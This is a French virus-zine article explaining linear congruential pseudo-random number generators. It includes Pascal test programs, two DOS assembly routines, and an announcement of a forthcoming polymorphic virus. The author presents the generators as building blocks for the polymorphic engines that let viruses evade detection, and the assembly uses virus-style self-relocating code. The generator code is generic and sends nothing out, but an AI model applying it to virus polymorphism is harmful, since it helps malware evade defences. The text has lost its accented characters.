Intro
I) Qu'est-ce qu'un GNPA ?
II) Des exemples de GNPA
 1> Les GNPA congruentiels linaires d'ordre 1
 2> Les GNPA congruentiels linaires d'ordre 2
 3> D'autres GNPA
III) Les codes de deux GNPA
 1> un gnrateur congruentiel linaire d'ordre 1 : LCG32
 2> un gnrateur congruentiel linaire d'ordre 2 : Androgynerator


Intro
======
	Pourquoi faire un article sur les gnrateurs de nombres pseudo-alatoires (GNPA) ? Sachez que ces gnrateurs servent beaucoup aux virus polymorphes. Pas de gnrateurs, pas de polymorphisme. Toutes les "dcisions" que le moteur de polymorphisme prend viennent du GNPA. Il est donc ncessaire d'avoir un bon gnrateur et les bons gnrateurs sont rares. Aussi ai-je dcid d'tudier les GNPA.

I) Qu'est-ce qu'un GNPA ?
==========================

	L'appellation "pseudo alatoire" vient du fait qu'il est impossible de crer des nombres alatoires de manire algorithmique. C'est comme a. Un gnrateur doit donc s'efforcer de crer une suite de nombres qui n'ont apparemment aucun lien entre eux. Pour mesurer si un gnrateur est bon, il faut :
  - veiller  ce qu'il n'y ait aucune boucle. Si le GNPA entre dans une boucle, le virus polymorphe ne pourra exister que sous un nombre rduit de forme, le polymorphisme est alors inutile.
  - veiller  ce que la frquence des nombres tirs soit globalement la mme pour tous les nombres. Quand je dis "globalement", cela veut dire qu'il ne faut pas que certains nombres soient tirs  une frquence 2 ou 3 fois plus leve que d'autres.

	A partir de ces principes, on peut imaginer toutes sortes d'algorithmes. Je vais vous en donner quelques uns dont certains sont trs classiques.


II) Des exemples de GNPA
=========================

 1> Les GNPA congruentiels linaires d'ordre 1
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
	Ce sont les plus courants et les plus faciles  faire. la suite de nombres obit  une rcurrence linaire d'ordre 1 congruentielle (un peu barbare comme appellation mais c'est pas moi qui l'ai invente). En gros, la relation de rcurrence qu'ils utilisent est de la forme :
		X(n+1) = (A * X(n) + C) mod M
o A, C et M sont des nombres bien choisis (gnralement les nombres premiers donnent de bons rsultats). Ces gnrateurs sont assez simples  coder en assembleur. Il y a un exmple dans le m4 n2 dans l'article "La Bombe du mag : Kill-R". Evidemment, vous pouvez choisir d'autres valeurs pour A, C et M. Des valeurs bien choisie donneront une boucle d'au plus M lment (par dfinition mme de la relation congruentielle). C'est dj pas mal...
	Pour tester des valeurs, je vous conseille de crer un petit programme Pascal qui fait tourner le gnrateur (ou une procdure semblable). Voici deux exemples pour vrifier les deux critres qui nous intressent. Le premier Loop calcule la longueur d'une boucle  partir d'une entre alatoire, le second Freq trace un graphe de frquence.

--------------------------------CUT HERE-----------------------------
program Loop;
uses crt,graph;

const
  m=43691;
  a=13;
  c=14449;

var
  Rand_Seed:longint;
  i,start,First:longint;

function Get_Random(number:longint):longint;
  begin
    Get_Random:=(a*number+c) mod m;
  end;

begin
  clrscr;
  randomize;
  First:=random(m);
  Rand_Seed:=Get_random(First);
  i:=2;
  while (Rand_Seed<>First) do begin
    Rand_Seed:=Get_Random(Rand_Seed);
    inc(i);
  end;
  write('avec ',First,', la boucle a une longueur de ',i,'.');
  readkey;
end.
--------------------------------CUT HERE-----------------------------

--------------------------------CUT HERE-----------------------------
program Freq;
uses crt,graph;

const
  m=43691;
  a=13;
  c=14449;

var
  Rand_Seed:longint;
  i,start:longint;
  tablo:array [0..m div 4] of longint;

procedure VGAGraph;
  var driver,mode:integer;
  begin
    driver:=9;
    mode:=2;
    initgraph(driver,mode,'d:\pascal\bgi');
  end;

function Get_Random(number:longint):longint;
  begin
    Get_Random:=(a*number+c) mod m;
  end;

begin
  clrscr;
  randomize;
  Rand_Seed:=random(m);
  for i:=1 to 436 do tablo[i]:=0;
  for i:=1 to 2000000 do begin
    Rand_Seed:=Get_Random(Rand_Seed);
    inc(tablo[Rand_Seed div 4]);;
  end;
  VGAGraph;
  setbkcolor(0);
  for start:=1 to (m div 4)-640 do begin
    for i:=Start to Start+640 do begin
      putpixel(i-Start+1,480-tablo[i-1],0);
      putpixel(i-Start,480-tablo[i],15);
    end;
    if keypressed then begin
      closegraph;
      halt;
    end;
  end;
  readkey;
end.
--------------------------------CUT HERE-----------------------------

	Vous pourrez utilisez ces deux programmes pour tester tous les autres GNPA en changeant simplement la fonction Get_Random.


 2> Les GNPA congruentiels linaires d'ordre 2
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
	Ils sont un peu plus puissant que leurs camarades d'ordre 1. Les programmes tests devraient vous en convaincre. Ils obissent  une rcurrence linaire d'ordre 2 congruentielle du type :
		X(n+2) = (A1 * X(n+1) + A2 * X(n) + C) mod M
o A1, A2, C et M sont toujours bien choisis. J'ai essay la combinaison A1=13, A2=111, C=14449 et M=43691 qui donnent de trs bons rsultats. En essayant la fonction Random du Pascal, on observe sensiblement la mme courbe de frquence. Je n'ai pas fait de recherches de ce ct, je ne sais pas comment est construit le Random du Pascal mais je parierais sur ce type de gnrateur.
	En revanche, si on prend A2=113  la place de 111, c'est trs mauvais... Il y a 5 "couches de frquences" qui apparaissent trs nettement. C'est typiquement ce que l'on ne veut pas. Comme quoi les nombres premiers ne donnent pas toujours forcment les meilleurs gnrateurs.
	Pour tester ces gnrateurs, il faut modifier Get_Random et l'affectation  Rand_Seed comme a :

--------------------------------CUT HERE-----------------------------

(...) { Attention! il y a des trucs  changer aussi avant mais je vous le laisse. }

function Get_Random(number1,number2:longint):longint;
  begin
    Get_Random:=(a1*number1 + a2*number2 + c) mod m;
  end;

(...)

    Temp:=Rand_Seed1;
    Rand_Seed1:=Get_Random(Rand_Seed1,Rand_Seed2);
    Rand_Seed2:=Temp;

(...)

--------------------------------CUT HERE-----------------------------

	Pour l'implmentation en assembleur, allez voir  la fin de cet article.

 3> D'autres GNPA
 ~~~~~~~~~~~~~~~~~
	Imaginons que vous ayez besoin dans un de vos programmes d'un nombre alatoire. Est-il ncessaire de dvelloper un GNPA complet ? Non, bien sr. Il existe des mthodes faciles pour obtenir un nombre alaoire. Il est trs courant d'utiliser le port 40h par un simple appel "in al,40h". C'est simple, a prend une ligne. On peut galement utiliser le compteur d'horloge dont l'adresse est 0000:046Ch. Bref, il ne faut pas oublier que nous sommes dans un environnement informatique et qu'il faut l'utiliser...

	Il existe galement d'autres gnrateurs non linaires.	Ce sont des gnrateurs de barbares, trs difficiles  implmenter en assembleur (et mme en Pascal  cause du format de nombres choisis). Je ne dtaillerai donc pas ce type de gnrateur. Je n'ai mme pas cherch  savoir s'ils taient bons ou pas. Voil quelques suggestions tout  fait personnelles que vous pouvez vous amusez  explorer :
		X(n+1) = ((A * X(n) + C)) mod M
		X(n+1) = (sqrt(A * X(n) + C)) mod M


III) Les codes de deux GNPA
============================

 1> un gnrateur congruentiel linaire d'ordre 1 : LCG32
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
	Ce premier gnrateur n'est pas de moi. Je l'ai trouv dans un bouquin mais il marche. Il s'appelle LCG32 car il utilise des registres 32 bits pour plus de facilit. Il peut s'utiliser avec tous les types de programmes, il "reloge" lui mme ses variables et ne bouffe aucun registre sauf ax.
	On peut appeler deux routines : Random_Seed qui initialise Rand_Seed avec le compteur d'horloge dont l'adresse mmoire est 0000:046C, et Get_Random qui renvoie un nombre alatoire dans ax.

--------------------------------CUT HERE-----------------------------

;LCG32
;a 32 bit Linear Congruential Pseudo-Random Number Generator
;  X(n+1) = (A * X(n) + C) mod M

.model tiny
.code
.386

	public RANDOM_SEED
	public GET_RANDOM

M dd 134217729
A dd 44739244
C dd 134217727

RAND_SEED dd 0

RANDOM_SEED proc near
	push si
	push ds
	push dx
	push cx
	push bx
	push ax
	call RS1
    RS1:
	pop bx
	sub bx,offset RS1
	xor ax,ax
	mov ds,ax
	mov si,46Ch
	lodsb
	xor edx,edx
	mov ecx,M
	div ecx
	mov cs:[bx][RAND_SEED],edx
	pop ax
	pop bx
	pop cx
	pop dx
	pop ds
	pop si
	retn
RANDOM_SEED endp


GET_RANDOM proc near
	push bx
	push cx
	push dx
	call GR1
    GR1:
	pop bx
	sub bx,offset GR1
	mov eax,[bx][RAND_SEED]
	mov ecx,[bx][A]
	mul ecx
	add eax,[bx][C]
	adc edx,0
	mov ecx,[bx][M]
	div ecx
	mov eax,edx
        mov [bx][RAND_SEED],eax
	pop dx
	pop cx
	pop bx
	retn
GET_RANDOM endp
--------------------------------CUT HERE-----------------------------

 2> un gnrateur congruentiel linaire d'ordre 2 : Androgynerator
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
	Celui ci est totalement de moi, je n'ai fait que la routine Get_Random mais il est bien vident qu'on peut rajouter la routine Random_Seed ci-dessus. J'ai utilis les registres 16 bits classiques. Il est fond sur une rcurrence linaire d'ordre 2 congruentielle, trs efficace. A mon avis, ce gnrateur fait partie de la crme des GNPA. Son implmentation n'est pas trop diffrente d'un gnrateur d'ordre 1.

--------------------------------CUT HERE-----------------------------
;Androgynerator
;an Advanced 16 bits Pseudo Random Number Generator
; X(n+2) = (A1 * X(n+1) + A2 * X(n) + C) mod M
;
;entre :
;  ax=plafond max
;sortie :
;  ax=nombre alatoire compris entre 0 et (plafond max-1)
;
;by Androgyne
;

.model tiny
.code
.386

	public GET_RANDOM

M  dw 43691
A1 dw 13
A2 dw 111
C  dw 14449

RAND_SEED1 dw 1
RAND_SEED2 dw 2
TEMP       dw 0

GET_RANDOM proc near
	push bp
        push bx
        push cx
        push dx
        push ax				;celui l, on se le garde pour plus tard

	call GET_ADD
    GET_ADD:
	pop bp
	sub bp,offset GET_ADD		;on calcule le dcalage qu'on met dans bp
        
	mov ax,[bp + RAND_SEED1]
	mov word ptr [bp + TEMP],ax
        mov cx,[bp + A1]		;A1 * RAND_SEED1
        mul cx
	mov dx,ax				;on met le rsultat dans dx
	mov ax,[bp + RAND_SEED2]
	mov cx,[bp + A2]			;A2 * RAND_SEED2
	mul cx
	add ax,dx				;on additionne les deux
	xor dx,dx
        add ax,[bp + C]			;on additionne C
        adc dx,0
        mov cx,[bp + M]			;et voil comment on fait un modulo
        div cx
        mov ax,dx				;on met le rsultat dans ax

        mov word ptr [bp + RAND_SEED1],ax	;on conserve tous les nouveaux rsultats
	push ax
	mov ax,[bp + TEMP]
	mov word ptr [bp + RAND_SEED2],ax
	pop ax

        pop cx				;c'est le ax qu'on a push au dbut
	xor dx,dx
        div cx				;on renvoie ax mod (plafond)
        mov ax,dx

        pop dx
        pop cx
        pop bx
	pop bp
        ret					;et voil... c'tait vraiment pas dur!
GET_RANDOM endp
--------------------------------CUT HERE-----------------------------

						By Androgyne

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
          			Projet K-os : What's coming next...
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

	Le projet K-os semble avoir plu. Merci  ceux qui s'y sont intresss. Cependant, quelques petits problmes techniques m'ont empche de prsenter Polymorphic K-os ds ce m4g. Le virus est quasiment fini, il reste quelques trucs chiants  dbbugger. J'en suis dsole. Je profiterai de ce temps supplmentaire pour amliorer le moteur de polymophisme. Il faudra patienter...

						By Androgyne

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

     					   /\/\/\/\/\/\/\
                              >>> H4CKK--VIRUS <<<
                               >>>  --REZO--  <<<
                                >>> ++++++++ <<<
                                 >>> 72 T ( <<<
                                  >>> g4ng <<<
                                   >>>    <<<
                                    >>>><<<<